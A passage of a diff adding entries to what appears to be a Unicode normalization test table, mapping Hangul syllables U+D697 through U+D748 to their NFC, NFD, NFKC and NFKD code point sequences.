+{ source: [0xD697], NFC: [0xD697], NFD: [0x1112, 0x116C, 0x11B2], NFKC: [0xD697], NFKD: [0x1112, 0x116C, 0x11B2] },
+{ source: [0xD698], NFC: [0xD698], NFD: [0x1112, 0x116C, 0x11B3], NFKC: [0xD698], NFKD: [0x1112, 0x116C, 0x11B3] },
+{ source: [0xD699], NFC: [0xD699], NFD: [0x1112, 0x116C, 0x11B4], NFKC: [0xD699], NFKD: [0x1112, 0x116C, 0x11B4] },
+{ source: [0xD69A], NFC: [0xD69A], NFD: [0x1112, 0x116C, 0x11B5], NFKC: [0xD69A], NFKD: [0x1112, 0x116C, 0x11B5] },
+{ source: [0xD69B], NFC: [0xD69B], NFD: [0x1112, 0x116C, 0x11B6], NFKC: [0xD69B], NFKD: [0x1112, 0x116C, 0x11B6] },
+{ source: [0xD69C], NFC: [0xD69C], NFD: [0x1112, 0x116C, 0x11B7], NFKC: [0xD69C], NFKD: [0x1112, 0x116C, 0x11B7] },
+{ source: [0xD69D], NFC: [0xD69D], NFD: [0x1112, 0x116C, 0x11B8], NFKC: [0xD69D], NFKD: [0x1112, 0x116C, 0x11B8] },
+{ source: [0xD69E], NFC: [0xD69E], NFD: [0x1112, 0x116C, 0x11B9], NFKC: [0xD69E], NFKD: [0x1112, 0x116C, 0x11B9] },
+{ source: [0xD69F], NFC: [0xD69F], NFD: [0x1112, 0x116C, 0x11BA], NFKC: [0xD69F], NFKD: [0x1112, 0x116C, 0x11BA] },
+{ source: [0xD6A0], NFC: [0xD6A0], NFD: [0x1112, 0x116C, 0x11BB], NFKC: [0xD6A0], NFKD: [0x1112, 0x116C, 0x11BB] },
+{ source: [0xD6A1], NFC: [0xD6A1], NFD: [0x1112, 0x116C, 0x11BC], NFKC: [0xD6A1], NFKD: [0x1112, 0x116C, 0x11BC] },
+{ source: [0xD6A2], NFC: [0xD6A2], NFD: [0x1112, 0x116C, 0x11BD], NFKC: [0xD6A2], NFKD: [0x1112, 0x116C, 0x11BD] },
+{ source: [0xD6A3], NFC: [0xD6A3], NFD: [0x1112, 0x116C, 0x11BE], NFKC: [0xD6A3], NFKD: [0x1112, 0x116C, 0x11BE] },
+{ source: [0xD6A4], NFC: [0xD6A4], NFD: [0x1112, 0x116C, 0x11BF], NFKC: [0xD6A4], NFKD: [0x1112, 0x116C, 0x11BF] },
+{ source: [0xD6A5], NFC: [0xD6A5], NFD: [0x1112, 0x116C, 0x11C0], NFKC: [0xD6A5], NFKD: [0x1112, 0x116C, 0x11C0] },
+{ source: [0xD6A6], NFC: [0xD6A6], NFD: [0x1112, 0x116C, 0x11C1], NFKC: [0xD6A6], NFKD: [0x1112, 0x116C, 0x11C1] },
+{ source: [0xD6A7], NFC: [0xD6A7], NFD: [0x1112, 0x116C, 0x11C2], NFKC: [0xD6A7], NFKD: [0x1112, 0x116C, 0x11C2] },
+{ source: [0xD6A8], NFC: [0xD6A8], NFD: [0x1112, 0x116D], NFKC: [0xD6A8], NFKD: [0x1112, 0x116D] },
+{ source: [0xD6A9], NFC: [0xD6A9], NFD: [0x1112, 0x116D, 0x11A8], NFKC: [0xD6A9], NFKD: [0x1112, 0x116D, 0x11A8] },
+{ source: [0xD6AA], NFC: [0xD6AA], NFD: [0x1112, 0x116D, 0x11A9], NFKC: [0xD6AA], NFKD: [0x1112, 0x116D, 0x11A9] },
+{ source: [0xD6AB], NFC: [0xD6AB], NFD: [0x1112, 0x116D, 0x11AA], NFKC: [0xD6AB], NFKD: [0x1112, 0x116D, 0x11AA] },
+{ source: [0xD6AC], NFC: [0xD6AC], NFD: [0x1112, 0x116D, 0x11AB], NFKC: [0xD6AC], NFKD: [0x1112, 0x116D, 0x11AB] },
+{ source: [0xD6AD], NFC: [0xD6AD], NFD: [0x1112, 0x116D, 0x11AC], NFKC: [0xD6AD], NFKD: [0x1112, 0x116D, 0x11AC] },
+{ source: [0xD6AE], NFC: [0xD6AE], NFD: [0x1112, 0x116D, 0x11AD], NFKC: [0xD6AE], NFKD: [0x1112, 0x116D, 0x11AD] },
+{ source: [0xD6AF], NFC: [0xD6AF], NFD: [0x1112, 0x116D, 0x11AE], NFKC: [0xD6AF], NFKD: [0x1112, 0x116D, 0x11AE] },
+{ source: [0xD6B0], NFC: [0xD6B0], NFD: [0x1112, 0x116D, 0x11AF], NFKC: [0xD6B0], NFKD: [0x1112, 0x116D, 0x11AF] },
+{ source: [0xD6B1], NFC: [0xD6B1], NFD: [0x1112, 0x116D, 0x11B0], NFKC: [0xD6B1], NFKD: [0x1112, 0x116D, 0x11B0] },
+{ source: [0xD6B2], NFC: [0xD6B2], NFD: [0x1112, 0x116D, 0x11B1], NFKC: [0xD6B2], NFKD: [0x1112, 0x116D, 0x11B1] },
+{ source: [0xD6B3], NFC: [0xD6B3], NFD: [0x1112, 0x116D, 0x11B2], NFKC: [0xD6B3], NFKD: [0x1112, 0x116D, 0x11B2] },
+{ source: [0xD6B4], NFC: [0xD6B4], NFD: [0x1112, 0x116D, 0x11B3], NFKC: [0xD6B4], NFKD: [0x1112, 0x116D, 0x11B3] },
+{ source: [0xD6B5], NFC: [0xD6B5], NFD: [0x1112, 0x116D, 0x11B4], NFKC: [0xD6B5], NFKD: [0x1112, 0x116D, 0x11B4] },
+{ source: [0xD6B6], NFC: [0xD6B6], NFD: [0x1112, 0x116D, 0x11B5], NFKC: [0xD6B6], NFKD: [0x1112, 0x116D, 0x11B5] },
+{ source: [0xD6B7], NFC: [0xD6B7], NFD: [0x1112, 0x116D, 0x11B6], NFKC: [0xD6B7], NFKD: [0x1112, 0x116D, 0x11B6] },
+{ source: [0xD6B8], NFC: [0xD6B8], NFD: [0x1112, 0x116D, 0x11B7], NFKC: [0xD6B8], NFKD: [0x1112, 0x116D, 0x11B7] },
+{ source: [0xD6B9], NFC: [0xD6B9], NFD: [0x1112, 0x116D, 0x11B8], NFKC: [0xD6B9], NFKD: [0x1112, 0x116D, 0x11B8] },
+{ source: [0xD6BA], NFC: [0xD6BA], NFD: [0x1112, 0x116D, 0x11B9], NFKC: [0xD6BA], NFKD: [0x1112, 0x116D, 0x11B9] },
+{ source: [0xD6BB], NFC: [0xD6BB], NFD: [0x1112, 0x116D, 0x11BA], NFKC: [0xD6BB], NFKD: [0x1112, 0x116D, 0x11BA] },
+{ source: [0xD6BC], NFC: [0xD6BC], NFD: [0x1112, 0x116D, 0x11BB], NFKC: [0xD6BC], NFKD: [0x1112, 0x116D, 0x11BB] },
+{ source: [0xD6BD], NFC: [0xD6BD], NFD: [0x1112, 0x116D, 0x11BC], NFKC: [0xD6BD], NFKD: [0x1112, 0x116D, 0x11BC] },
+{ source: [0xD6BE], NFC: [0xD6BE], NFD: [0x1112, 0x116D, 0x11BD], NFKC: [0xD6BE], NFKD: [0x1112, 0x116D, 0x11BD] },
+{ source: [0xD6BF], NFC: [0xD6BF], NFD: [0x1112, 0x116D, 0x11BE], NFKC: [0xD6BF], NFKD: [0x1112, 0x116D, 0x11BE] },
+{ source: [0xD6C0], NFC: [0xD6C0], NFD: [0x1112, 0x116D, 0x11BF], NFKC: [0xD6C0], NFKD: [0x1112, 0x116D, 0x11BF] },
+{ source: [0xD6C1], NFC: [0xD6C1], NFD: [0x1112, 0x116D, 0x11C0], NFKC: [0xD6C1], NFKD: [0x1112, 0x116D, 0x11C0] },
+{ source: [0xD6C2], NFC: [0xD6C2], NFD: [0x1112, 0x116D, 0x11C1], NFKC: [0xD6C2], NFKD: [0x1112, 0x116D, 0x11C1] },
+{ source: [0xD6C3], NFC: [0xD6C3], NFD: [0x1112, 0x116D, 0x11C2], NFKC: [0xD6C3], NFKD: [0x1112, 0x116D, 0x11C2] },
+{ source: [0xD6C4], NFC: [0xD6C4], NFD: [0x1112, 0x116E], NFKC: [0xD6C4], NFKD: [0x1112, 0x116E] },
+{ source: [0xD6C5], NFC: [0xD6C5], NFD: [0x1112, 0x116E, 0x11A8], NFKC: [0xD6C5], NFKD: [0x1112, 0x116E, 0x11A8] },
+{ source: [0xD6C6], NFC: [0xD6C6], NFD: [0x1112, 0x116E, 0x11A9], NFKC: [0xD6C6], NFKD: [0x1112, 0x116E, 0x11A9] },
+{ source: [0xD6C7], NFC: [0xD6C7], NFD: [0x1112, 0x116E, 0x11AA], NFKC: [0xD6C7], NFKD: [0x1112, 0x116E, 0x11AA] },
+{ source: [0xD6C8], NFC: [0xD6C8], NFD: [0x1112, 0x116E, 0x11AB], NFKC: [0xD6C8], NFKD: [0x1112, 0x116E, 0x11AB] },
+{ source: [0xD6C9], NFC: [0xD6C9], NFD: [0x1112, 0x116E, 0x11AC], NFKC: [0xD6C9], NFKD: [0x1112, 0x116E, 0x11AC] },
+{ source: [0xD6CA], NFC: [0xD6CA], NFD: [0x1112, 0x116E, 0x11AD], NFKC: [0xD6CA], NFKD: [0x1112, 0x116E, 0x11AD] },
+{ source: [0xD6CB], NFC: [0xD6CB], NFD: [0x1112, 0x116E, 0x11AE], NFKC: [0xD6CB], NFKD: [0x1112, 0x116E, 0x11AE] },
+{ source: [0xD6CC], NFC: [0xD6CC], NFD: [0x1112, 0x116E, 0x11AF], NFKC: [0xD6CC], NFKD: [0x1112, 0x116E, 0x11AF] },
+{ source: [0xD6CD], NFC: [0xD6CD], NFD: [0x1112, 0x116E, 0x11B0], NFKC: [0xD6CD], NFKD: [0x1112, 0x116E, 0x11B0] },
+{ source: [0xD6CE], NFC: [0xD6CE], NFD: [0x1112, 0x116E, 0x11B1], NFKC: [0xD6CE], NFKD: [0x1112, 0x116E, 0x11B1] },
+{ source: [0xD6CF], NFC: [0xD6CF], NFD: [0x1112, 0x116E, 0x11B2], NFKC: [0xD6CF], NFKD: [0x1112, 0x116E, 0x11B2] },
+{ source: [0xD6D0], NFC: [0xD6D0], NFD: [0x1112, 0x116E, 0x11B3], NFKC: [0xD6D0], NFKD: [0x1112, 0x116E, 0x11B3] },
+{ source: [0xD6D1], NFC: [0xD6D1], NFD: [0x1112, 0x116E, 0x11B4], NFKC: [0xD6D1], NFKD: [0x1112, 0x116E, 0x11B4] },
+{ source: [0xD6D2], NFC: [0xD6D2], NFD: [0x1112, 0x116E, 0x11B5], NFKC: [0xD6D2], NFKD: [0x1112, 0x116E, 0x11B5] },
+{ source: [0xD6D3], NFC: [0xD6D3], NFD: [0x1112, 0x116E, 0x11B6], NFKC: [0xD6D3], NFKD: [0x1112, 0x116E, 0x11B6] },
+{ source: [0xD6D4], NFC: [0xD6D4], NFD: [0x1112, 0x116E, 0x11B7], NFKC: [0xD6D4], NFKD: [0x1112, 0x116E, 0x11B7] },
+{ source: [0xD6D5], NFC: [0xD6D5], NFD: [0x1112, 0x116E, 0x11B8], NFKC: [0xD6D5], NFKD: [0x1112, 0x116E, 0x11B8] },
+{ source: [0xD6D6], NFC: [0xD6D6], NFD: [0x1112, 0x116E, 0x11B9], NFKC: [0xD6D6], NFKD: [0x1112, 0x116E, 0x11B9] },
+{ source: [0xD6D7], NFC: [0xD6D7], NFD: [0x1112, 0x116E, 0x11BA], NFKC: [0xD6D7], NFKD: [0x1112, 0x116E, 0x11BA] },
+{ source: [0xD6D8], NFC: [0xD6D8], NFD: [0x1112, 0x116E, 0x11BB], NFKC: [0xD6D8], NFKD: [0x1112, 0x116E, 0x11BB] },
+{ source: [0xD6D9], NFC: [0xD6D9], NFD: [0x1112, 0x116E, 0x11BC], NFKC: [0xD6D9], NFKD: [0x1112, 0x116E, 0x11BC] },
+{ source: [0xD6DA], NFC: [0xD6DA], NFD: [0x1112, 0x116E, 0x11BD], NFKC: [0xD6DA], NFKD: [0x1112, 0x116E, 0x11BD] },
+{ source: [0xD6DB], NFC: [0xD6DB], NFD: [0x1112, 0x116E, 0x11BE], NFKC: [0xD6DB], NFKD: [0x1112, 0x116E, 0x11BE] },
+{ source: [0xD6DC], NFC: [0xD6DC], NFD: [0x1112, 0x116E, 0x11BF], NFKC: [0xD6DC], NFKD: [0x1112, 0x116E, 0x11BF] },
+{ source: [0xD6DD], NFC: [0xD6DD], NFD: [0x1112, 0x116E, 0x11C0], NFKC: [0xD6DD], NFKD: [0x1112, 0x116E, 0x11C0] },
+{ source: [0xD6DE], NFC: [0xD6DE], NFD: [0x1112, 0x116E, 0x11C1], NFKC: [0xD6DE], NFKD: [0x1112, 0x116E, 0x11C1] },
+{ source: [0xD6DF], NFC: [0xD6DF], NFD: [0x1112, 0x116E, 0x11C2], NFKC: [0xD6DF], NFKD: [0x1112, 0x116E, 0x11C2] },
+{ source: [0xD6E0], NFC: [0xD6E0], NFD: [0x1112, 0x116F], NFKC: [0xD6E0], NFKD: [0x1112, 0x116F] },
+{ source: [0xD6E1], NFC: [0xD6E1], NFD: [0x1112, 0x116F, 0x11A8], NFKC: [0xD6E1], NFKD: [0x1112, 0x116F, 0x11A8] },
+{ source: [0xD6E2], NFC: [0xD6E2], NFD: [0x1112, 0x116F, 0x11A9], NFKC: [0xD6E2], NFKD: [0x1112, 0x116F, 0x11A9] },
+{ source: [0xD6E3], NFC: [0xD6E3], NFD: [0x1112, 0x116F, 0x11AA], NFKC: [0xD6E3], NFKD: [0x1112, 0x116F, 0x11AA] },
+{ source: [0xD6E4], NFC: [0xD6E4], NFD: [0x1112, 0x116F, 0x11AB], NFKC: [0xD6E4], NFKD: [0x1112, 0x116F, 0x11AB] },
+{ source: [0xD6E5], NFC: [0xD6E5], NFD: [0x1112, 0x116F, 0x11AC], NFKC: [0xD6E5], NFKD: [0x1112, 0x116F, 0x11AC] },
+{ source: [0xD6E6], NFC: [0xD6E6], NFD: [0x1112, 0x116F, 0x11AD], NFKC: [0xD6E6], NFKD: [0x1112, 0x116F, 0x11AD] },
+{ source: [0xD6E7], NFC: [0xD6E7], NFD: [0x1112, 0x116F, 0x11AE], NFKC: [0xD6E7], NFKD: [0x1112, 0x116F, 0x11AE] },
+{ source: [0xD6E8], NFC: [0xD6E8], NFD: [0x1112, 0x116F, 0x11AF], NFKC: [0xD6E8], NFKD: [0x1112, 0x116F, 0x11AF] },
+{ source: [0xD6E9], NFC: [0xD6E9], NFD: [0x1112, 0x116F, 0x11B0], NFKC: [0xD6E9], NFKD: [0x1112, 0x116F, 0x11B0] },
+{ source: [0xD6EA], NFC: [0xD6EA], NFD: [0x1112, 0x116F, 0x11B1], NFKC: [0xD6EA], NFKD: [0x1112, 0x116F, 0x11B1] },
+{ source: [0xD6EB], NFC: [0xD6EB], NFD: [0x1112, 0x116F, 0x11B2], NFKC: [0xD6EB], NFKD: [0x1112, 0x116F, 0x11B2] },
+{ source: [0xD6EC], NFC: [0xD6EC], NFD: [0x1112, 0x116F, 0x11B3], NFKC: [0xD6EC], NFKD: [0x1112, 0x116F, 0x11B3] },
+{ source: [0xD6ED], NFC: [0xD6ED], NFD: [0x1112, 0x116F, 0x11B4], NFKC: [0xD6ED], NFKD: [0x1112, 0x116F, 0x11B4] },
+{ source: [0xD6EE], NFC: [0xD6EE], NFD: [0x1112, 0x116F, 0x11B5], NFKC: [0xD6EE], NFKD: [0x1112, 0x116F, 0x11B5] },
+{ source: [0xD6EF], NFC: [0xD6EF], NFD: [0x1112, 0x116F, 0x11B6], NFKC: [0xD6EF], NFKD: [0x1112, 0x116F, 0x11B6] },
+{ source: [0xD6F0], NFC: [0xD6F0], NFD: [0x1112, 0x116F, 0x11B7], NFKC: [0xD6F0], NFKD: [0x1112, 0x116F, 0x11B7] },
+{ source: [0xD6F1], NFC: [0xD6F1], NFD: [0x1112, 0x116F, 0x11B8], NFKC: [0xD6F1], NFKD: [0x1112, 0x116F, 0x11B8] },
+{ source: [0xD6F2], NFC: [0xD6F2], NFD: [0x1112, 0x116F, 0x11B9], NFKC: [0xD6F2], NFKD: [0x1112, 0x116F, 0x11B9] },
+{ source: [0xD6F3], NFC: [0xD6F3], NFD: [0x1112, 0x116F, 0x11BA], NFKC: [0xD6F3], NFKD: [0x1112, 0x116F, 0x11BA] },
+{ source: [0xD6F4], NFC: [0xD6F4], NFD: [0x1112, 0x116F, 0x11BB], NFKC: [0xD6F4], NFKD: [0x1112, 0x116F, 0x11BB] },
+{ source: [0xD6F5], NFC: [0xD6F5], NFD: [0x1112, 0x116F, 0x11BC], NFKC: [0xD6F5], NFKD: [0x1112, 0x116F, 0x11BC] },
+{ source: [0xD6F6], NFC: [0xD6F6], NFD: [0x1112, 0x116F, 0x11BD], NFKC: [0xD6F6], NFKD: [0x1112, 0x116F, 0x11BD] },
+{ source: [0xD6F7], NFC: [0xD6F7], NFD: [0x1112, 0x116F, 0x11BE], NFKC: [0xD6F7], NFKD: [0x1112, 0x116F, 0x11BE] },
+{ source: [0xD6F8], NFC: [0xD6F8], NFD: [0x1112, 0x116F, 0x11BF], NFKC: [0xD6F8], NFKD: [0x1112, 0x116F, 0x11BF] },
+{ source: [0xD6F9], NFC: [0xD6F9], NFD: [0x1112, 0x116F, 0x11C0], NFKC: [0xD6F9], NFKD: [0x1112, 0x116F, 0x11C0] },
+{ source: [0xD6FA], NFC: [0xD6FA], NFD: [0x1112, 0x116F, 0x11C1], NFKC: [0xD6FA], NFKD: [0x1112, 0x116F, 0x11C1] },
+{ source: [0xD6FB], NFC: [0xD6FB], NFD: [0x1112, 0x116F, 0x11C2], NFKC: [0xD6FB], NFKD: [0x1112, 0x116F, 0x11C2] },
+{ source: [0xD6FC], NFC: [0xD6FC], NFD: [0x1112, 0x1170], NFKC: [0xD6FC], NFKD: [0x1112, 0x1170] },
+{ source: [0xD6FD], NFC: [0xD6FD], NFD: [0x1112, 0x1170, 0x11A8], NFKC: [0xD6FD], NFKD: [0x1112, 0x1170, 0x11A8] },
+{ source: [0xD6FE], NFC: [0xD6FE], NFD: [0x1112, 0x1170, 0x11A9], NFKC: [0xD6FE], NFKD: [0x1112, 0x1170, 0x11A9] },
+{ source: [0xD6FF], NFC: [0xD6FF], NFD: [0x1112, 0x1170, 0x11AA], NFKC: [0xD6FF], NFKD: [0x1112, 0x1170, 0x11AA] },
+{ source: [0xD700], NFC: [0xD700], NFD: [0x1112, 0x1170, 0x11AB], NFKC: [0xD700], NFKD: [0x1112, 0x1170, 0x11AB] },
+{ source: [0xD701], NFC: [0xD701], NFD: [0x1112, 0x1170, 0x11AC], NFKC: [0xD701], NFKD: [0x1112, 0x1170, 0x11AC] },
+{ source: [0xD702], NFC: [0xD702], NFD: [0x1112, 0x1170, 0x11AD], NFKC: [0xD702], NFKD: [0x1112, 0x1170, 0x11AD] },
+{ source: [0xD703], NFC: [0xD703], NFD: [0x1112, 0x1170, 0x11AE], NFKC: [0xD703], NFKD: [0x1112, 0x1170, 0x11AE] },
+{ source: [0xD704], NFC: [0xD704], NFD: [0x1112, 0x1170, 0x11AF], NFKC: [0xD704], NFKD: [0x1112, 0x1170, 0x11AF] },
+{ source: [0xD705], NFC: [0xD705], NFD: [0x1112, 0x1170, 0x11B0], NFKC: [0xD705], NFKD: [0x1112, 0x1170, 0x11B0] },
+{ source: [0xD706], NFC: [0xD706], NFD: [0x1112, 0x1170, 0x11B1], NFKC: [0xD706], NFKD: [0x1112, 0x1170, 0x11B1] },
+{ source: [0xD707], NFC: [0xD707], NFD: [0x1112, 0x1170, 0x11B2], NFKC: [0xD707], NFKD: [0x1112, 0x1170, 0x11B2] },
+{ source: [0xD708], NFC: [0xD708], NFD: [0x1112, 0x1170, 0x11B3], NFKC: [0xD708], NFKD: [0x1112, 0x1170, 0x11B3] },
+{ source: [0xD709], NFC: [0xD709], NFD: [0x1112, 0x1170, 0x11B4], NFKC: [0xD709], NFKD: [0x1112, 0x1170, 0x11B4] },
+{ source: [0xD70A], NFC: [0xD70A], NFD: [0x1112, 0x1170, 0x11B5], NFKC: [0xD70A], NFKD: [0x1112, 0x1170, 0x11B5] },
+{ source: [0xD70B], NFC: [0xD70B], NFD: [0x1112, 0x1170, 0x11B6], NFKC: [0xD70B], NFKD: [0x1112, 0x1170, 0x11B6] },
+{ source: [0xD70C], NFC: [0xD70C], NFD: [0x1112, 0x1170, 0x11B7], NFKC: [0xD70C], NFKD: [0x1112, 0x1170, 0x11B7] },
+{ source: [0xD70D], NFC: [0xD70D], NFD: [0x1112, 0x1170, 0x11B8], NFKC: [0xD70D], NFKD: [0x1112, 0x1170, 0x11B8] },
+{ source: [0xD70E], NFC: [0xD70E], NFD: [0x1112, 0x1170, 0x11B9], NFKC: [0xD70E], NFKD: [0x1112, 0x1170, 0x11B9] },
+{ source: [0xD70F], NFC: [0xD70F], NFD: [0x1112, 0x1170, 0x11BA], NFKC: [0xD70F], NFKD: [0x1112, 0x1170, 0x11BA] },
+{ source: [0xD710], NFC: [0xD710], NFD: [0x1112, 0x1170, 0x11BB], NFKC: [0xD710], NFKD: [0x1112, 0x1170, 0x11BB] },
+{ source: [0xD711], NFC: [0xD711], NFD: [0x1112, 0x1170, 0x11BC], NFKC: [0xD711], NFKD: [0x1112, 0x1170, 0x11BC] },
+{ source: [0xD712], NFC: [0xD712], NFD: [0x1112, 0x1170, 0x11BD], NFKC: [0xD712], NFKD: [0x1112, 0x1170, 0x11BD] },
+{ source: [0xD713], NFC: [0xD713], NFD: [0x1112, 0x1170, 0x11BE], NFKC: [0xD713], NFKD: [0x1112, 0x1170, 0x11BE] },
+{ source: [0xD714], NFC: [0xD714], NFD: [0x1112, 0x1170, 0x11BF], NFKC: [0xD714], NFKD: [0x1112, 0x1170, 0x11BF] },
+{ source: [0xD715], NFC: [0xD715], NFD: [0x1112, 0x1170, 0x11C0], NFKC: [0xD715], NFKD: [0x1112, 0x1170, 0x11C0] },
+{ source: [0xD716], NFC: [0xD716], NFD: [0x1112, 0x1170, 0x11C1], NFKC: [0xD716], NFKD: [0x1112, 0x1170, 0x11C1] },
+{ source: [0xD717], NFC: [0xD717], NFD: [0x1112, 0x1170, 0x11C2], NFKC: [0xD717], NFKD: [0x1112, 0x1170, 0x11C2] },
+{ source: [0xD718], NFC: [0xD718], NFD: [0x1112, 0x1171], NFKC: [0xD718], NFKD: [0x1112, 0x1171] },
+{ source: [0xD719], NFC: [0xD719], NFD: [0x1112, 0x1171, 0x11A8], NFKC: [0xD719], NFKD: [0x1112, 0x1171, 0x11A8] },
+{ source: [0xD71A], NFC: [0xD71A], NFD: [0x1112, 0x1171, 0x11A9], NFKC: [0xD71A], NFKD: [0x1112, 0x1171, 0x11A9] },
+{ source: [0xD71B], NFC: [0xD71B], NFD: [0x1112, 0x1171, 0x11AA], NFKC: [0xD71B], NFKD: [0x1112, 0x1171, 0x11AA] },
+{ source: [0xD71C], NFC: [0xD71C], NFD: [0x1112, 0x1171, 0x11AB], NFKC: [0xD71C], NFKD: [0x1112, 0x1171, 0x11AB] },
+{ source: [0xD71D], NFC: [0xD71D], NFD: [0x1112, 0x1171, 0x11AC], NFKC: [0xD71D], NFKD: [0x1112, 0x1171, 0x11AC] },
+{ source: [0xD71E], NFC: [0xD71E], NFD: [0x1112, 0x1171, 0x11AD], NFKC: [0xD71E], NFKD: [0x1112, 0x1171, 0x11AD] },
+{ source: [0xD71F], NFC: [0xD71F], NFD: [0x1112, 0x1171, 0x11AE], NFKC: [0xD71F], NFKD: [0x1112, 0x1171, 0x11AE] },
+{ source: [0xD720], NFC: [0xD720], NFD: [0x1112, 0x1171, 0x11AF], NFKC: [0xD720], NFKD: [0x1112, 0x1171, 0x11AF] },
+{ source: [0xD721], NFC: [0xD721], NFD: [0x1112, 0x1171, 0x11B0], NFKC: [0xD721], NFKD: [0x1112, 0x1171, 0x11B0] },
+{ source: [0xD722], NFC: [0xD722], NFD: [0x1112, 0x1171, 0x11B1], NFKC: [0xD722], NFKD: [0x1112, 0x1171, 0x11B1] },
+{ source: [0xD723], NFC: [0xD723], NFD: [0x1112, 0x1171, 0x11B2], NFKC: [0xD723], NFKD: [0x1112, 0x1171, 0x11B2] },
+{ source: [0xD724], NFC: [0xD724], NFD: [0x1112, 0x1171, 0x11B3], NFKC: [0xD724], NFKD: [0x1112, 0x1171, 0x11B3] },
+{ source: [0xD725], NFC: [0xD725], NFD: [0x1112, 0x1171, 0x11B4], NFKC: [0xD725], NFKD: [0x1112, 0x1171, 0x11B4] },
+{ source: [0xD726], NFC: [0xD726], NFD: [0x1112, 0x1171, 0x11B5], NFKC: [0xD726], NFKD: [0x1112, 0x1171, 0x11B5] },
+{ source: [0xD727], NFC: [0xD727], NFD: [0x1112, 0x1171, 0x11B6], NFKC: [0xD727], NFKD: [0x1112, 0x1171, 0x11B6] },
+{ source: [0xD728], NFC: [0xD728], NFD: [0x1112, 0x1171, 0x11B7], NFKC: [0xD728], NFKD: [0x1112, 0x1171, 0x11B7] },
+{ source: [0xD729], NFC: [0xD729], NFD: [0x1112, 0x1171, 0x11B8], NFKC: [0xD729], NFKD: [0x1112, 0x1171, 0x11B8] },
+{ source: [0xD72A], NFC: [0xD72A], NFD: [0x1112, 0x1171, 0x11B9], NFKC: [0xD72A], NFKD: [0x1112, 0x1171, 0x11B9] },
+{ source: [0xD72B], NFC: [0xD72B], NFD: [0x1112, 0x1171, 0x11BA], NFKC: [0xD72B], NFKD: [0x1112, 0x1171, 0x11BA] },
+{ source: [0xD72C], NFC: [0xD72C], NFD: [0x1112, 0x1171, 0x11BB], NFKC: [0xD72C], NFKD: [0x1112, 0x1171, 0x11BB] },
+{ source: [0xD72D], NFC: [0xD72D], NFD: [0x1112, 0x1171, 0x11BC], NFKC: [0xD72D], NFKD: [0x1112, 0x1171, 0x11BC] },
+{ source: [0xD72E], NFC: [0xD72E], NFD: [0x1112, 0x1171, 0x11BD], NFKC: [0xD72E], NFKD: [0x1112, 0x1171, 0x11BD] },
+{ source: [0xD72F], NFC: [0xD72F], NFD: [0x1112, 0x1171, 0x11BE], NFKC: [0xD72F], NFKD: [0x1112, 0x1171, 0x11BE] },
+{ source: [0xD730], NFC: [0xD730], NFD: [0x1112, 0x1171, 0x11BF], NFKC: [0xD730], NFKD: [0x1112, 0x1171, 0x11BF] },
+{ source: [0xD731], NFC: [0xD731], NFD: [0x1112, 0x1171, 0x11C0], NFKC: [0xD731], NFKD: [0x1112, 0x1171, 0x11C0] },
+{ source: [0xD732], NFC: [0xD732], NFD: [0x1112, 0x1171, 0x11C1], NFKC: [0xD732], NFKD: [0x1112, 0x1171, 0x11C1] },
+{ source: [0xD733], NFC: [0xD733], NFD: [0x1112, 0x1171, 0x11C2], NFKC: [0xD733], NFKD: [0x1112, 0x1171, 0x11C2] },
+{ source: [0xD734], NFC: [0xD734], NFD: [0x1112, 0x1172], NFKC: [0xD734], NFKD: [0x1112, 0x1172] },
+{ source: [0xD735], NFC: [0xD735], NFD: [0x1112, 0x1172, 0x11A8], NFKC: [0xD735], NFKD: [0x1112, 0x1172, 0x11A8] },
+{ source: [0xD736], NFC: [0xD736], NFD: [0x1112, 0x1172, 0x11A9], NFKC: [0xD736], NFKD: [0x1112, 0x1172, 0x11A9] },
+{ source: [0xD737], NFC: [0xD737], NFD: [0x1112, 0x1172, 0x11AA], NFKC: [0xD737], NFKD: [0x1112, 0x1172, 0x11AA] },
+{ source: [0xD738], NFC: [0xD738], NFD: [0x1112, 0x1172, 0x11AB], NFKC: [0xD738], NFKD: [0x1112, 0x1172, 0x11AB] },
+{ source: [0xD739], NFC: [0xD739], NFD: [0x1112, 0x1172, 0x11AC], NFKC: [0xD739], NFKD: [0x1112, 0x1172, 0x11AC] },
+{ source: [0xD73A], NFC: [0xD73A], NFD: [0x1112, 0x1172, 0x11AD], NFKC: [0xD73A], NFKD: [0x1112, 0x1172, 0x11AD] },
+{ source: [0xD73B], NFC: [0xD73B], NFD: [0x1112, 0x1172, 0x11AE], NFKC: [0xD73B], NFKD: [0x1112, 0x1172, 0x11AE] },
+{ source: [0xD73C], NFC: [0xD73C], NFD: [0x1112, 0x1172, 0x11AF], NFKC: [0xD73C], NFKD: [0x1112, 0x1172, 0x11AF] },
+{ source: [0xD73D], NFC: [0xD73D], NFD: [0x1112, 0x1172, 0x11B0], NFKC: [0xD73D], NFKD: [0x1112, 0x1172, 0x11B0] },
+{ source: [0xD73E], NFC: [0xD73E], NFD: [0x1112, 0x1172, 0x11B1], NFKC: [0xD73E], NFKD: [0x1112, 0x1172, 0x11B1] },
+{ source: [0xD73F], NFC: [0xD73F], NFD: [0x1112, 0x1172, 0x11B2], NFKC: [0xD73F], NFKD: [0x1112, 0x1172, 0x11B2] },
+{ source: [0xD740], NFC: [0xD740], NFD: [0x1112, 0x1172, 0x11B3], NFKC: [0xD740], NFKD: [0x1112, 0x1172, 0x11B3] },
+{ source: [0xD741], NFC: [0xD741], NFD: [0x1112, 0x1172, 0x11B4], NFKC: [0xD741], NFKD: [0x1112, 0x1172, 0x11B4] },
+{ source: [0xD742], NFC: [0xD742], NFD: [0x1112, 0x1172, 0x11B5], NFKC: [0xD742], NFKD: [0x1112, 0x1172, 0x11B5] },
+{ source: [0xD743], NFC: [0xD743], NFD: [0x1112, 0x1172, 0x11B6], NFKC: [0xD743], NFKD: [0x1112, 0x1172, 0x11B6] },
+{ source: [0xD744], NFC: [0xD744], NFD: [0x1112, 0x1172, 0x11B7], NFKC: [0xD744], NFKD: [0x1112, 0x1172, 0x11B7] },
+{ source: [0xD745], NFC: [0xD745], NFD: [0x1112, 0x1172, 0x11B8], NFKC: [0xD745], NFKD: [0x1112, 0x1172, 0x11B8] },
+{ source: [0xD746], NFC: [0xD746], NFD: [0x1112, 0x1172, 0x11B9], NFKC: [0xD746], NFKD: [0x1112, 0x1172, 0x11B9] },
+{ source: [0xD747], NFC: [0xD747], NFD: [0x1112, 0x1172, 0x11BA], NFKC: [0xD747], NFKD: [0x1112, 0x1172, 0x11BA] },
+{ source: [0xD748], NFC: [0xD748], NFD: [0x1112, 0x1172, 0x11BB], NFKC: [0xD748], NFKD: [0x1112, 0x1172, 0x11BB] },
